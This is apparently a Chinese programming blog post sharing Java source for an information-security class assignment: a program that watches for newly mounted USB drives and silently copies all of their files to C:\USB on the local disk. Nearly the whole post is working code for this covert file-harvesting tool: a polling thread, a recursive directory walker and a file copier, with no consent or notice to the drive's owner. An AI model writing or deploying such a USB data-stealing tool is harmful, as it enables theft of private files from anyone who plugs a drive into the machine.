JAVA:将U盘内容复制到本地

信息安全课老师布置的作业,要求将U盘内容悄无声息的复制到本地。

public class USB_test {
     

	public static void main(String[] args) {
     
		// TODO Auto-generated method stub
		IsUSB test = new IsUSB();
		test.start();
	}
}

//检查有无新盘符

import java.io.File;

public class IsUSB extends Thread{
     
	
	File[] fileSystemRoot = File.listRoots(); //系统盘符列表
	File[] currentRoot = null ; //当前盘符列表
	
	public void run() {
     
		/*
		for(File root:fileSystemRoot) {
			System.out.println(root);		
		}*/
		
		while(true) {
     
			currentRoot = File.listRoots();
			boolean isNewRoot = false;
			//增加了新盘符
			if( currentRoot.length > fileSystemRoot.length ) {
     
				for (int i = 0 ; i < currentRoot.length ; i++) {
      
					isNewRoot = true ; 
                	for (int j = 0 ; j < fileSystemRoot.length ; j++ ) {
      
                		if( currentRoot[i].equals(fileSystemRoot[j]) ) {
     
                			isNewRoot = false ;
                		}
                	}
                	if( isNewRoot ) {
     
                		System.out.println("开始复制U盘内容");
                		USB_CopyThread copy = new USB_CopyThread(currentRoot[i].getAbsolutePath()); //复制新盘符中的文件
                		copy.start();
                	}
				}	
			}
			fileSystemRoot = File.listRoots(); //更新系统盘符列表
			try {
     
				Thread.sleep(1000); //每1秒检查一次盘符列表是否发生变化
			} catch (InterruptedException e) {
     
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			
		}
		
	}
	
	
}

//遍历文件夹及其文件

import java.io.File;

public class USB_CopyThread extends Thread {
     

	private String filePath;

	public USB_CopyThread(String filePath) {
     
		this.filePath = filePath;
	}

	public void run() {
     
		UsbFiles(filePath);
	}

	// 遍历盘符中所有文件夹及其文件
	private void UsbFiles(String filePath) {
      
		
    	File file = new File(filePath);
    	
    	if(file.exists()) {
     
    		
    		File[] files = file.listFiles();  //获取所有文件、目录的绝对路径
    		
    		for (File f : files) {
      
    			
    			if (f.isDirectory()) {
        //如果是文件夹,继续向下递归
    				System.out.println("源文件夹:"+f.getAbsolutePath());
    				UsbFiles(f.getAbsolutePath()); 
    				
    			}else if(f.isFile()) {
       //如果是文件,则进行复制
    				System.out.println("源文件:"+f.getAbsolutePath());
    				USB_Copy copy = new USB_Copy(f);
    				copy.copyToSys();      
    			}
            } 
        } 
    } 
    
	
}

//文件IO

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;

public class USB_Copy{
     
	
	private File file;
	
	public USB_Copy(File file) {
     
		this.file = file ;
	}
	
	public void copyToSys() {
     
		
		BufferedInputStream bis = null; 
        BufferedOutputStream bos = null; 
        StringBuilder usbFilePath = null;
        String sysFilePath = null;
        
        usbFilePath = new StringBuilder(file.getParent());
        System.out.println("源文件的父路径为:"+usbFilePath);
        //将路径中从第一个字母至第一个路径分隔符\的内容,替换为C:\USB
        usbFilePath.replace( 0 , usbFilePath.indexOf(File.separator) , "C:"+File.separator+"USB");
        sysFilePath = usbFilePath.toString();
        File sysFile = new File(sysFilePath);
        
        if(!sysFile.exists()) {
     
        	sysFile.mkdirs(); //如果目标文件夹不存在,创建文件夹
        }
        
        System.out.println("复制的新文件夹为:"+sysFilePath);
        
        try {
     
			bis = new BufferedInputStream(new FileInputStream(file));
			bos = new BufferedOutputStream(new FileOutputStream(new File(sysFilePath+File.separator+file.getName())));
			byte[] buf = new byte[1024]; 
	        int len = 0; 
	        try {
     
				while ((len = bis.read(buf)) != -1) {
      
					bos.write(buf, 0, len); 
				    bos.flush(); 
				}
				bis.close();
		        bos.close();
		        System.out.println("复制的新文件为:"+sysFilePath+file.getName());
			} catch (IOException e) {
     
				// TODO Auto-generated catch block
				e.printStackTrace();
			} 
        } catch (FileNotFoundException e) {
     
			// TODO Auto-generated catch block
			e.printStackTrace();
		} 
        
	}
	
}

你可能感兴趣的:(作业记录)